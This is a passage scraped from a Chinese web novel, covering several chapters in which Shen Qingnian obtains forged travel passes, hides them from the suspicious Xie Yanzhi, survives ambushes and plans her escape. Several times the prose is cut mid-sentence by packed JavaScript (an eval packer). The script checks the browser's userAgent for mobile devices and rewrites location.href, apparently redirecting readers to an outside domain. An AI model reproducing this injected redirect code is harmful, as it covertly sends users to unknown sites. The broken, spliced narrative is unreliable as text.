顾灵玉拿过香草怀里揣着的东西,走到后面的偏殿。 香草赶紧上前帮顾灵玉推开门,只一眼就见沈清念坐在蒲团上喝着茶,一副悠然自得的样子。 见顾灵玉来了,沈清念招呼了一声:“顾姑娘,快来坐下喝些茶吧。” 顾灵玉有些嫌弃地倪了沈清念一眼。 乡下丫头,寺庙的茶有什么好喝的,又苦又涩,哪有她屋子里的雨前龙井来得香。 见了她也没有站起来行礼,不知道自己是低贱的商户女吗? 她气呼呼地走过去,将那两张路引扔在蒲团上:“这是你要的路引!” 沈清念心里窃喜,看来她是找对人了,这路引办得比她预想中的要快。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16312929|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>她看了眼菱儿,菱儿立即过去将路引捡起来,递给了沈清念。 沈清念拿着那路引仔细瞧了瞧,路引上名字已经改了,身份也改成了男子。 一切都是按她们当时说好的办的。 沈清念含笑道:“顾姑娘做得不错,辛苦了!” 顾灵玉听这话,又有些气不打一处来。 沈清念凭什么夸赞她! 那样一个身份低贱的人,看着都碍眼,在她面前喘气儿都是错的,怎么还敢来评论她做得好与不好的! 顾灵玉又说道:“你要说到做到!赶紧滚出京城!离宴之表哥远远的!” 沈清念看顾灵玉还是那副什么都写在脸上的样子,抿着唇笑了笑。 她何必跟个傻子计较。 顾灵玉帮她办来了路引,又要替她给谢宴之做妾,于情于理,她好像都该谢谢她啊。 “顾姑娘放心,我定离了京城,以后绝不会出现在世子面前。” 顾灵玉听见这话,又见沈清念低垂着眉眼,一副温顺的样子,心里才好受了些。 “一切按计划来,别耍花招!” 顾灵玉又狠狠地嘱咐了沈清念一句,然后高扬起头,带着香草转身走了出去。 顾灵玉走后,沈清念将两张路引塞进了一个香囊里,领着菱儿也打算回府去。 菱儿才刚打开门,一个人影就挤了进来,一下就敲晕了菱儿。 沈清念吓得要出声,就被一只大手捂住了嘴。 “是我!” 熟悉的声音响起,清冷低沉,还有那熟悉的雪松香。 是谢宴之! 沈清念没想到在这里碰到了谢宴之。 “表哥怎么在这里?” “你来这里做什么?” 二人同时出声。 这时,门外传来几个人的脚步声,其中一个人道:“人呢?” 沈清念心下了然,谢宴之这又是被人追杀了。 紧接着,沈清念就看到门上出现一个模糊的人影:“到这个屋子看看!” 沈清念心跳如雷,不知谢宴之这次又是招惹了谁。 每次遇见他,她都要倒霉! 谢宴之眼睛直直地盯着门口的动静,握住剑的手加重了几分力道。 只要那人敢开门,他就让他立刻**。 第六十七章 那就一起喝 沈清念看着门被推开了一道缝,一只黑色的靴子探了进来。 “这边有血迹!”外面有一个人喊道。 门上的人影听到声音,一转身,便朝别的方向追去了。 谢宴之这才松开了沈清念,用手按住了肩膀。 他刚过来时,故意滴了几滴血在那边的花叶上,果然还是将人引开了。 不然他和这几人打起来,沈清念必会受牵连。 今日他得了消息,那怀有账本之人躲在了这万宝寺中,结果来的时候,人已经被刚刚那伙人惊扰,不知所踪。 而他和几名侍卫也中了埋伏。 要不是他肩上的伤还未愈合,这几个人他根本就不放在眼里。 沈清念转过身去,往谢宴之的肩上看了看。 他今日穿着一身黑色红纹的长袍,不仔细看,根本看不出那肩头处湿了一大片。 而谢宴之按住肩的手指处,透着一丝丝红色,有些血腥味。 看来,是谢宴之肩上的剑伤又裂开了。 见沈清念皱着眉,手上却没有动作,谢宴之有些不耐烦。 这人是又被血吓到了吗? 胆子这么小! “扶我去那边。”谢宴之指了指沈清念刚刚坐的蒲团。 沈清念将谢宴之扶到蒲团上坐下后,谢宴之一下扯开了衣襟,露出肩头。 沈清念还是要尽快帮他处理好伤口,不然那伙人去而复返,她和菱儿就凶多吉少了。 “替我擦拭一下。” 沈清念从袖子里掏出绣帕,沾了茶水,仔细地替谢宴之清理伤口。 “表哥,这血还是没止住。” “用这个。”谢宴之又拿出一个药瓶,让沈清念帮他上药。 沈清念伸手接过去,将药粉洒在了伤口上,那血立刻就止住了。 沈清念拿着瓶子看了看,心道这药还真是神奇。 “这是皇上赏的金疮药,撒上去立即就会止血。” 谢宴之见她看得认真,猜到她对这药有些好奇。 这药本是皇室专用的,皇上见谢宴之少年有为,远赴岭南剿匪,特意赏赐的。 原来是御赐之物,他们这种普通人又哪能见到? 沈清念将药瓶放在小几上,又拿了一方帕子,敷在伤口处,再捻起手指,替他将衣襟合上。 “想要就拿着。”谢宴之就药瓶塞到了沈清念手里。 他瞧她那模样,应是想要的。 给她也好,她皮肤娇嫩,平时里做点刺绣什么的伤到了用得上。 更何况,他们就要成亲了,听说女子第一次都会受伤。 总归是用得上的。 沈清念哪里知道谢宴之又想到哪里去了。 反正这好东西,既然给她,她就收着。反正谢宴之平日里也没少欺负她! 谢宴之转头拿了佩剑,将它别在腰间,忽然又抬头问了一句:“你为何在这里?” 不知怎的,沈清念明显感觉谢宴之的声音低沉了下来。 她不知他又是哪里不对了。 方才还是温声细语的,这会儿倒像是审问犯人了。 她害怕路引的事被谢宴之发现,还是扯了一个笑容:“表哥忘了,我今日来祈福的呀。” “我是问你为何在这偏殿,元青呢?” 谢宴之盯着她,眼里露出一丝怀疑。 祈福一般都在主殿,偏殿这儿比较偏僻,元青又那么巧不在她身边。 谢宴之怀疑她是不是有什么事瞒着他。 毕竟,刚刚沈清念替他清理伤口时,面前摆着的可是两杯茶水。 上一次,她就是跟那个姓萧的约在了这万宝寺。 萧怀意已经被萧景意带离了京城,那她这次见的又是谁? 沈清念见他眼睛往茶几上看了去,才发现他是在看那两杯茶。 “我和菱儿祈了福后,到这边看了景色,顺便吃口茶。” “表哥要不要尝尝,这是我老家那边的老鹰茶,看着品相不精致,回味却是很甘甜的。” “是吗?”谢宴之颇有意味地看着她。 知道沈清念就是想说,这茶,就是她和菱儿喝的,所以有两只茶碗。 “当真这么好喝?” “嗯,菱儿一口气喝了两大碗呢。”沈清念眉眼含笑看着谢宴之,只想他快些打消疑虑。 “你喜欢?”谢宴之又问了一句,端起刚刚倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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谢宴之的脸贴上了上来,鼻尖在她的耳边摩挲。 沈清念只觉得后背发寒,谢宴之竟然连这么小的细节都注意到了。 她平日里都戴着母亲给的合香珠,根本不需要什么香囊。 今日是为了放好路引,才用的菱儿的香囊。 谢宴之见沈清念不说话,也看向了那只香囊。 第六十八章 是他和她的姻缘符 “这里面有什么?” 谢宴之放开了沈清念。 他将这个香囊凑近了闻了闻,发现这个香囊跟普通的香囊不一样,几乎没有什么香味。 沈清念当然也知道,这是她找菱儿要的,这样装好了贴身放着,她心里踏实。 因为要给沈清念用,菱儿就拿了一只新的香囊给她。 没装过香料,当然就没有香味。 谢宴之用手扯了扯香囊口子的绳结,想要打开看看里面装的是什么。 “表哥,不可!” 沈清念惊叫一声,花容失色。 “有何不可,不过一只香囊?”他略有深意地看着她。 沈清念这反常的举动更加引起了谢宴之的怀疑,让他更加笃定那里面有什么古怪。 眼看那绳结马上就要解开了,沈清念的脑子已经顾不上思考,脱口而出:“那是我求的姻缘符!” 沈清念说这话的时候,谢宴之已经将那香囊的口打开了一些,看到里面的确是像纸一样的东西。 他又抬起头,见沈清念低垂着眉眼,有些羞涩,便停下了动作。 “姻缘符?” 沈清念见他停了下来,伸手拿过了香囊。 “嗯,是我们的姻缘符。” “表哥,寺里的师父说了,这姻缘符不可以随便打开,那样就不灵验了。” 沈清念边说边将香囊的口子合上,紧紧捏在了手里。 他们的姻缘符! 谢宴之原本已经有些怒意,怀疑沈清念有什么事瞒着他。 现在她居然说是求的他和她的姻缘符。 没想到她竟如此重视他们之间的感情。 谢宴之心里竟觉得十分欣慰,看来她是越来越适应她妾室的身份了。 谢宴之从身后抱住她,在她耳边轻轻道:“你怎会想到去求姻缘符了?” 沈清念听着他又变得温声细语,知道是自己刚刚的话取悦了他。 捏了捏手中的香囊,沈清念挤了一个笑:“当然是想要菩萨保佑我和表哥一直心意相通,相守到老。” 说着,露出一副小女儿的姿态。 谢宴之凑上去亲了亲那圆润的耳尖。 难怪她非要护着那香囊,女子怕求姻缘,总是怕旁的人知晓。 可他不是旁人。 “我们快些走吧,表哥。”沈清念又催促了一声。 她是一刻都不想在这个屋子里待了。 他们确实得赶紧离开。 谢宴之握住沈清念的手,拉着她就要出门。 沈清念挣脱了他的手,指了指地上,菱儿还躺在地上呢。 沈清念走过去蹲下拍了拍菱儿:“菱儿,醒一醒,我们该走了。” “让开!”谢宴之冷声一句。 一下就将刚刚那没有喝完的茶泼在了菱儿的脸上。 沈清念回过头看了一眼谢宴之,有些气恼。 她又拿了帕子将菱儿脸上的水渍沾干。 谢宴之咳了一声,转过身去,负手立在门边,淡淡道:“这样比较快。” 被水这么一泼,菱儿果真转醒过来,只是脑子还有些发懵,弄不清状况。 紧接着,她察觉脖颈后面传来一阵疼痛。 她眼睛猛地睁大,这才想起来,刚刚有个男子闯了进来,将自己打晕了。 那小姐呢? “小姐!”菱儿大叫起来,挣扎着要起身查看小姐的情况。 “没事,我在这儿呢。” 菱儿转过头,发现小姐正蹲在自己身边,关切地看着自己。 “小姐,你没事吧?” 菱儿扶着沈清念起身,围着她看了一圈,发现小姐确实没事,她悬着的心才放下来。 “刚刚那个贼人呢?”菱儿想起了那个高大的黑影。 她晕了,那小姐一个人是怎么打过那个贼人的。 沈清念听到这句话,用帕子捂着嘴笑了,向向门边看了看。 菱儿一头雾水,也朝门边看去。 大公子! 她连忙捂住了嘴巴。 那贼人竟然是大公子! 而她竟当着大公子的面说他是贼人! 菱儿感觉大公子棱角分明的侧颜看着更加凌冽了。 他手上还拿着一只茶碗,下一秒会不会就砸到她的头上? “小姐。”菱儿嘘嘘地喊了一声,缩着身子躲到了沈清念后边。 “还愣着干什么?” 谢宴之见菱儿醒了,还磨磨蹭蹭的,已经有些不耐烦。 他们再不走,等会儿那些人去而复返,她们两个就是给人当活靶子的。 谢宴之将碗一下扔回小桌上,冷声一句:“跟上!” 说着便抬脚就走了出去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈清念的心一下紧张起来,因为她闻到空气中有一丝血腥味。 第六十九章 靖南侯府的表小姐吗?有意思 那血腥味就围在她的身边。 她小心地挪动着脚,却被一个东西抵住了腰,紧接着从身后爬出来一个人。 那人又慢慢将刀移到了她的脖子上。 她听到那人在她耳边悄悄说:“别动!” 这名女子的嗅觉真是异于常人,本来他已经用香囊盖住气味。 没想到还是被这个女子发现。 沈清念稳住了身子不动,她这才知用刀抵住她脖子的人是一个男子。 都怪谢宴之给她的这辆马车太宽敞,较她以往所坐的马车,这辆车里面多了一张窄榻, 用帘子与前面隔开了。 是矣,她进来的时候,根本没发现帘子后面藏着人。 而菱儿正探着头看着马车外的景色。 刚刚听小姐说有味,她便掀开了帘子的一角散散味道,顺便看看外面的景色。 此刻,她放下帘子回转过身,却见一把明晃晃的刀,冒着寒光,抵着她家小姐的脖子。 “啊!” 菱儿吓得叫出了声,随即又捂住了嘴。 只因对面那蒙面的男子眼神一冷,抵在沈清念脖子上的刀用了一分力。 小姐的脖子上就有了一丝丝血色。 她知道那人是在威胁她,想要小姐活命,就不要惊动了外面的元青。 元青听到菱儿的声音,朝里面问了一声:“菱角,怎么了?” 菱儿深吸了一口气,平复了一下心情。 努力让自己的语气听起来没有什么异常:“没事,小姐和我挠痒痒玩儿呢。” 那男子沉声对沈清念道:“别声张,等出了万宝寺的附近,我自会离开。” 沈清念眨了眨眼,表明她知道了。 只盼这人能说话算话! “吁……!”元青突然停住了马车。 沈清念一时不察,身子向旁边栽去。 见状,那男子倒是迅速收了刀,扶了她一把。 菱儿得了蒙面男子的许可,悄悄掀开帘子看了看。 是几个骑着高头大马的蒙面人拦住了马车。 每人手上都有一把明晃晃的刀,菱儿赶紧放下了帘子,缩了回去。 见对方来势汹汹,元青的一手握住缰绳,一手按在腰间的佩剑上。 他有些不明白,怎么会有人来拦截靖南侯府的马车? “各位,为何要挡住去路?” 对面的一人道:“我们要马车里的人!” 沈清念这时已经坐好,又听见这句话,回头看了一眼那个男子。 要不是他刚刚及时收了刀,她现在已经**。 看来他也并非穷凶极恶之辈,应当是被人追杀,受伤了,想借她的马车离开而已。 那男子现在一边按住胸口,一边拿着刀警惕地听着外边的动静。 菱儿想将小姐拉到她的位置上来,就见那个男子将手放在脖子上,做了个抹脖子的动作。 菱儿便一动不敢动了。 元青听了那话,心道他们为何要抓清姑娘和菱儿?怕是他们搞错了。 “这里面怕是有误会,这车上的是我家的表小姐和她的丫鬟。” “少废话!”说着,那人就带头骑马冲了过来,他刚刚分明看见了马车后面的血迹。 元青见他们不由分说就冲上来,也不再客气,提剑就站在马车上应对起来。 他不愧是世子的贴身侍卫,他一剑就劈倒两人。 可是还有几人,元青一人有些难以招架。 只见其中一人奋力用剑从窗户那里刺了进去。 那马车内的男子立刻横刀挡住,那剑才没有刺中菱儿。 元青又挥剑将靠近车身的蒙面人赶开,朝里喊了一句:“清姑娘,你们没事吧?” “没事!”沈清念回了一句。 元青就放下心来,可清姑娘和菱儿在这里目标太大,他没有办法放下心来与对方缠斗。 “清姑娘,你们先走!” 元青用剑柄给了马屁股一下,马儿便拉着马车跑了起来。 那两个蒙面人要去追,被元青刺伤马腿,摔下了马。 沈清念和菱儿有些慌了,她们二人不会驾马车,此刻只能凭马儿拉着马车乱跑起来。 车上的男子见状扔下一句:“坐好!”便迅速跳到前面赶起马车来。 没一会儿,她们的马车便缓缓停了下来。 沈清念掀起帘子一看,发现他们的马车已经停在了一处小路边。 那个蒙面男子靠在车架上,手里拽着缰绳,人已经晕过去了。 “小姐,现在怎么办?”菱儿有些害怕,这个人刚刚还拿刀架在自家小姐的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第七十章 让他着迷 谢宴之处理掉那两个人后,又将发现的新的罪证写成折子交了上去,这才去了春畅园。 春畅园里。 周大夫正弯着腰给他上药,花麽麽就在两个丫鬟的搀扶下闯了进来。 她一看那桌上染血的布条儿,两眼发黑,差一点昏过去。 “宴哥儿,你怎么受伤了?” “我可怜的宴哥儿啊!” 花麽麽说着,鼻头一酸,眼泪就流了出来。 大小姐临死前将小公子托付给她,现在小公子竟然受了伤流了那么多的血。 大小姐让小公子娶回来的小娘子,到现在也没有娶回来。 花麽麽想到这些伤心处,眼泪流得更多了。 见状,谢宴之安慰道:“无妨,麽麽,只是一点点皮外伤。莫要伤心。” 幸好,他的伤口已经包扎起来了。 不然,花麽麽看见了,还要伤心好一场。 花麽麽心知谢宴之是在安慰她。 小公子身边也该有个可心的人儿照看着,像这样受了伤,都没人照顾。 花麽麽边抹泪边问道:“宴哥儿,大小姐让你娶的小娘子你什么时候娶回来?” 谢宴之皱了皱眉,他定亲的事怎么还没揭过? “麽麽,就快了,过两日我就将那小娘子娶回来。” “到时候,让她给您敬茶!” 谢宴之哄着她。 反正他就要纳沈清念了,花麽麽也喜欢她,就让她当那个定亲的小娘子吧。 花麽麽听了谢宴之的话,用帕子擦了擦眼睛,惊喜道:“真的吗?” “嗯,过几日你就看见了。”谢宴之轻声道。 “好好好。”花麽麽脸上是抑制不住的笑,握着谢宴之的手,轻轻拍拍他的手背。 “哦,对了。” 花麽麽说着,颤颤巍巍地从怀里掏出一个荷包,递给了谢宴之。 “这荷包是大小姐留给你的,大小姐说这是两家的定亲信物,让我保管好,待你成人以后给你。” “你这都要成婚了,也该给你了。”说着,就亲切地握住谢宴之的手,将荷包塞进了他的手里。 谢宴之没想到花麽麽还掏出了母亲的遗物。 那小小的荷包上绣着一朵并蒂莲,一看就是江南流行的样式。 荷包用的是大红色的绸缎绣的,边上还用了金线包边,富贵又喜气。 瞧着,还真是定亲所用之物。 他又打开荷包,见里面装的是一块银锁。 那银锁的表面有一些发黑,上面的图案有些看不清,的确是有些年份的老物件儿了。 但做工繁复,使得整个锁看起来古典精美。 谢宴之不禁怀疑,难道是花麽麽说的是真的?他真的有一门亲事在身上? 浅月居里,沈清念手拿着那个香囊,靠在窗边整理了一下思绪。 如今她们要逃走的话,银钱够了,路引也有了。 看起来似乎一切都好起来了。 菱儿此时端了热水进来道:“小姐,水来了。” 见沈清念拿着路引在那里出神,她走过去小声道:“小姐,水来了。” 沈清念起身用拧干的巾子,擦了一下脖子,又让菱儿上了些药。 那人的刀还是微微伤到了她,现在脖子上有一丝红痕。 沈清念看着菱儿道:“东西都收好了吗?” “嗯。”她们两人当初来靖南侯府的时候,就没有多少东西。 现在要走,收拾起来也很快。 沈清念见菱儿脸上有些担忧的神情,拉着她在榻上坐着:“你怎么了?怎么看起来不高兴?” 菱儿看了眼沈清念,终于说出了她的担忧:“小姐,我们走了,大公子会放过我们吗?” 照大公子的脾气,若是知道小姐骗了他,不知会发多大的脾气。 要是她们被抓回来,不知大公子又要怎么责罚小姐。 她这几日心里一直有些不安。 沈清念道:“时间久了,他自然就忘了,世子忙碌,哪有功夫去到处寻我们。” 以谢宴之的身份,日后三妻四妾的,美人在怀,哪还能想起她这个上不得台面的表小姐来。 如果可以,她现在就想拎着包袱走了,谢宴之太过敏锐,待在他身边总是提心吊胆的。 真害怕一不小心就怕露了马脚,被他发现端倪。 今日在万宝寺就是个教训。 但眼下她需要准备的事还很多,也不知道顾灵玉那边安排得怎么样了。 正想着,元青又过来传话了。 “清姑娘,爷让现在你去一趟观澜居。” 沈清念有些疑惑,他们才在万宝寺见了面,不知谢宴之又唤她去做什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈清念刚走,谢宴之就在地上看到了一个眼熟的东西。 第七十一章 我不会就是你那个未婚夫吧? 谢宴之低头一看,是那个装着银锁的荷包。 他记得刚刚被他放进了书案下的格子里了,不知怎么落在了地毯上,竟然没有发出一点儿声响。 虽然定亲的事不是真的,但这荷包和银锁是母亲留给他的遗物。 他又将荷包捡起来,放了进去。 这次他留意了,荷包并没有再掉出来。 浅月居这头,沈清念回去以后,也开始清点起自己的东西。 她从江南来的时候,就两身衣裳,没想到走的时候,倒是多了好些东西。 沈清念坐在床边,看着堆在床上的这些物件儿。 那串红色的玫瑰香珠,也是母亲做的。 她想着走的时候,就拿去送给姨母,感谢她这么多日的照拂。 还有这只银簪,有些发旧了,却是跟了她好几年的。 听母亲说,这还是外祖母留下的,必是要好好珍藏起来的。 忽然,沈清念想到了什么,她在这堆东西里找了找,眉头一蹙:“怎么没了?” 她记得母亲还给了她一个银锁,一直是放在红色的荷包里的,她之前还看到的,这会儿怎么就找不着了? 菱儿见沈清念在那边翻翻找找,眉头紧锁,像是什么要紧的物件不见了。 她轻轻走过去问道:“小姐,怎么了?” “菱儿,你可有看见我那只红色的荷包,里面装着银锁的。” 菱儿见过那只荷包,她们逃出来那天,夫人亲自交给小姐的,说是小姐的定亲信物。 大红色的缎子做的荷包,泛着丝丝光泽,上面的图案是一朵并蒂莲。 “那只荷包呀,刚小姐出去的时候,别在腰间了呀。” 菱儿说得笃定。 听菱儿这么一说,沈清念看向床上那个装着路引的香囊。 她终于想起来了。 装路引的香囊和装银锁的包都是红色的,她一时不察,竟给拿错了。 沈清念看了看腰间,什么都没有。 这才发现荷包被她弄丢了! “菱儿,我们一起出去找找。” 她刚刚只去了观澜居,很有可能掉在了那条竹林小路上。 观澜居门前,元青菱儿扒开一棵一棵竹子,怎么都没看到荷包。 不免有些沮丧。 “菱角!” 元青突然喊了菱儿一声。 他刚刚办了差事回来,正好碰见菱儿在竹林那边弯着腰,好像在找什么东西。 “啊!”菱儿吓了一跳。刚刚小姐还说不要让别人知道她们在找那个荷包,元青就突然出现,把她吓了一跳。 “你在干什么,怎么吓成这样?”元青双手抱臂看着她。 菱儿一看是元青,嘟着嘴:“你怎么走路也没个声儿啊,吓死我了。” 说着,她又左右看了看悄悄道:“小姐的荷包丢了,我们在找呢。” 元青算是明白她为何要鬼鬼祟祟的了。 女子的荷包手帕那些都是贴身的物件儿,若是不小心被男子捡了去,那可是说不清的。 元青看着菱儿找得头上的汗都打湿了发丝,宠溺地笑了笑道:“我帮你一起找找。” “是什么样的荷包?”元青问道。 “一个红色的荷包。” 红色,在这片竹林里应当是好寻找的。 可他们三人找了半天也没有找到。 会不会被人捡走了?沈清念心里不禁有些担心。 元青想了想,这条路偏僻,平常不会有人来。 他忽然道:“会不会是落在爷的书房了?” “我正好要去书房一趟,可以问爷看到了没。” 沈清念也想过这个可能,但那是他和她的定亲之物,如果可以,她并不想让他看到那个荷包,知道那个荷包。 反正她后面还会去一趟观澜居,那时她悄悄进去找找。 沈清念对元青道:“不用了,要是落在书房,世子会跟我说的。” 元青想了想也是,清姑娘的东西,爷看到了肯定会告诉她的。 沈清念带着菱儿往浅月居走。 没有找到荷包,沈清念愁眉紧锁,只对菱儿道:“丢荷包的事就当没有发生过。” 这条路再偏僻,也有人路过。万一被有心之人得知是她丢的荷包,到时候就是私相授受,有口难辩了。 菱儿点头:“是,小姐。” 再说元青回了观澜居,谢宴之坐在书案边,用手撑着头,见元青进来,他道:“怎么去了这么久才回来?” “路上看见清姑娘和菱角,帮了她们一点小忙。” 谢宴之抬起头:“什么忙?” “清姑娘的荷包丢了,带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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见沈清念脸上有些惊讶,他又凑在沈清念耳边道:“沈清念,我不会就是你那个未婚夫吧?” 第七十二章 那未婚夫是个什么货色 谢宴之的话像一道惊雷在沈清念耳边炸开。 她面上镇定,心里却已是掀起惊涛骇浪。 谢宴之怎么会这么快就知道他是她的未婚夫这件事? 沈清念攥紧了衣袖,让自己冷静下来。 这只荷包就是她那只,花麽麽给谢宴之的荷包,她根本就没看见。 谢宴之一向狡诈,万一他是来骗她的,来套她话的呢? 她侧过头,看到的是谢宴之玩味的眼神。 那眼神她熟悉,谢宴之每回逗弄她,都是这样饶有兴致地看她。 沈清念故作惊讶道:“你也有一只吗?” 谢宴之不明所以:“沈清念,你手上的,就是我的。” 沈清念挑了挑眉,笑道:“表哥,不如我们打开看看,究竟是谁的。” 说着,沈清念从谢宴之手中拿过荷包,取出了里面的银锁,看了看,神色便放松了下来。 “表哥,你看,这银锁虽有些发黑了,但这锁扣上的“沈”字还隐约能看见的。” 谢宴之凑近了看了看,果真有一个“沈”。 看谢宴之的神情,应是不知这其中的讲究。 这块锁,沈清念掏出来看过许多次,这细节之处,她早就知道得透透的。 沈清念接着道:“表哥,你那锁扣上,应当也有一个“谢”字。” “在我们江南那边,定亲的时候,两家都会交换这种荷包和银锁。” 谢宴之夜没想到,江南的订婚风俗竟是这样。 听沈清念的意思,即使两个荷包和银锁长得一样,那也不能说明两人就是未婚夫妻。 那为何要交换信物? 还是说这锁有什么特殊之处,是能区分定亲之人的? 谢宴之神思未定,又听见沈清念揶揄道:“表哥不是说没有亲事吗?” 谢宴之此刻也有些拿不准,花麽麽年纪大了,万一是她捡到了谁的银锁,误将它当成是他的了呢? 他看着沈清念那得意的小模样,一伸**走了那锁。 沈清念急了:“表哥,你还给我!” 谢宴之冷冷道:“我不允许你有别的男人的信物。” 说着,他就转身离开了浅月居。 他倒是要回去看看,他屋子里的银锁是不是当真有个“谢”字。 回了书房,谢宴之手往格子里一伸,果然摸到一个荷包。 他取出银锁,只见锁扣上真有一个“谢”字。 谢宴之坐在书案边,用手扶额。 他越来越弄不明白究竟是怎么回事。 难道说沈清念自幼定亲了,而他也是。 但不是他们两个互相定的亲? 他又想起沈清念如此紧张这个荷包,就因为这是她与那未婚夫的定亲信物。 他送过她那么多的物件儿,也没有见她如此珍视过。 沈清念! 好得很! 都要成为他的妾室了,心里还念着别的男人的东西。 “元青!” 门外的元青听着谢宴之冷冷冽的声音,就知道爷又生气了。 “爷。” 谢宴之把两只锁扔到桌上,冷冷道:“去将这银锁表面清洗干净,看看这锁有没有什么特殊之处。” “再查查这两只锁有什么关联,归谁所有!” 他倒要看看,沈清念的未婚夫究竟是谁!与他比起来,那人究竟是什么货色! 谢宴之走后,沈清念还有些愤懑。 这人总是这样霸道不讲理,每次都抢走她的东西。 她却拿他一点办法都没有,就因为他是世子! 是这靖南侯府的掌权者! 是可以三言两语就左右她婚事的人! 那银锁他就拿去吧,反正是跟他有关的东西,早就该还他了。 元青这时又来传话了,“清姑娘,爷说您可以出府去首饰铺里选一把锁,银的金的都行,随您喜欢。” 沈清念心道这是打一巴掌,又来给甜枣儿来了? 不过她正好趁此机会,出去为她们逃走做准备。 “何时能去?”沈清念淡淡道。 元青见清姑娘同意了,就是说不会生爷的气了,高兴不已。 “何时都行。”元青不敢怠慢。 他刚刚才将那锁交给了下面的人去查,就马不停蹄地来了。 “那我现在就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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对当年姐姐替她嫁给沈银昌这事,她心里一直有愧。 爹爹过世,她也没能回去看上一眼。 如今侄女又要离开了,苏姨娘一时情难自控,眼泪簌簌地流下来。 沈清念见状,掏出帕子来替苏姨娘擦了泪。 “姨母,不要难过,日后还有机会再见的。” 沈清念又瞥见苏姨娘手腕上的淤痕,她心里叹了口气,语气里带了些心疼:“姨母,以后别再让人欺负了。” 她帮不了苏姨娘什么,只能在心里希望苏姨娘能勇敢起来,不要再被林氏磋磨。 “嗯。”苏姨娘点头,又想起什么,冲沈清念问道:“念儿,你打算何时走?” “今日。”沈清念不假思索,脱口而出。 “怎么这般急?”苏姨娘有些疑惑。 要不是沈清念一脸的平静,苏姨娘都要怀疑她是不是遇上什么麻烦,须要立刻逃回家去。 “我离家两月,也实在是想母亲了,想早些回去看看她。”沈清念已经想好了说辞。 “明日大公子要纳妾,你喝了喜酒再走也行啊,不必急在一时。”苏姨娘放心不下,她还有好多话想要叮嘱沈清念。 “姨母放心,给世子的贺礼我已经备好了,不会少了礼数的。” 不知明日谢宴之回来看到她的贺礼,会是一副什么表情。 为了不让苏姨娘再伤怀,沈清念让她不要去送她。 随后,沈清念又去了问心堂一趟,她要离开靖南侯府了,还是要告知老夫人一声的。 老夫人看着沈清念,一身月白长裙,如墨的长发,只用一根缎带捆住,头上不戴一根珠翠,也美得让人惊心。 她心里不禁感叹,才堪堪过了两月,这清丫头又长开了许多。 这样的姿色,在京城中也是耀眼的存在。 这么好看的丫头竟没入了宴哥儿的眼。 不知他今日要纳的妾室又是何等惊人的样貌。 老夫人现下对谢宴之要纳之人是愈发好奇了。 沈清念福了一礼道:“多谢老夫人这些时日的照拂,清念感激不已。” 老夫人笑着颔首,又道:“宴哥儿明日纳妾,你留下来喝了喜酒再走也不迟啊。” 沈清念知道老夫人也是随口客气一下,她随便找个理由应付过去就行。 便轻声答道:“我原本也想留下瞧瞧大表哥新娶的姨娘。” “但今日出发,才能赶上我母亲的生辰。” 沈清念顿了顿,又说道:“大表哥纳妾之喜,我也备了贺礼,只盼大表哥不要嫌弃。” 新妇没有在夫家出嫁的道理,故而谢宴之在府外为沈清念找了个院子。 照谢宴之的安排,她今日就得过去那边待嫁。 再说,元青下午就要去布置浅月居了。 她早些离了那儿,别人也不会想到谢宴之要纳的人是她。 所以,她今日必须让她们都知道她已经离府回乡了。 见沈清念拒绝得如此干脆,老夫人与身旁的刘麽麽交换了一下眼神。 刘麽麽撇了撇嘴,嫌弃地看了沈清念一眼,什么要赶回家给母亲过生辰。 分明是这表姑娘想攀大公子的高枝儿没攀上。 这会子见他要纳别人了,不好意思面对,只好寻了理由先逃回家去,省得丢人! 她是这府上的老人了,知道这府上来了多少表姑娘了,这里面的弯弯绕绕她可是门儿清。 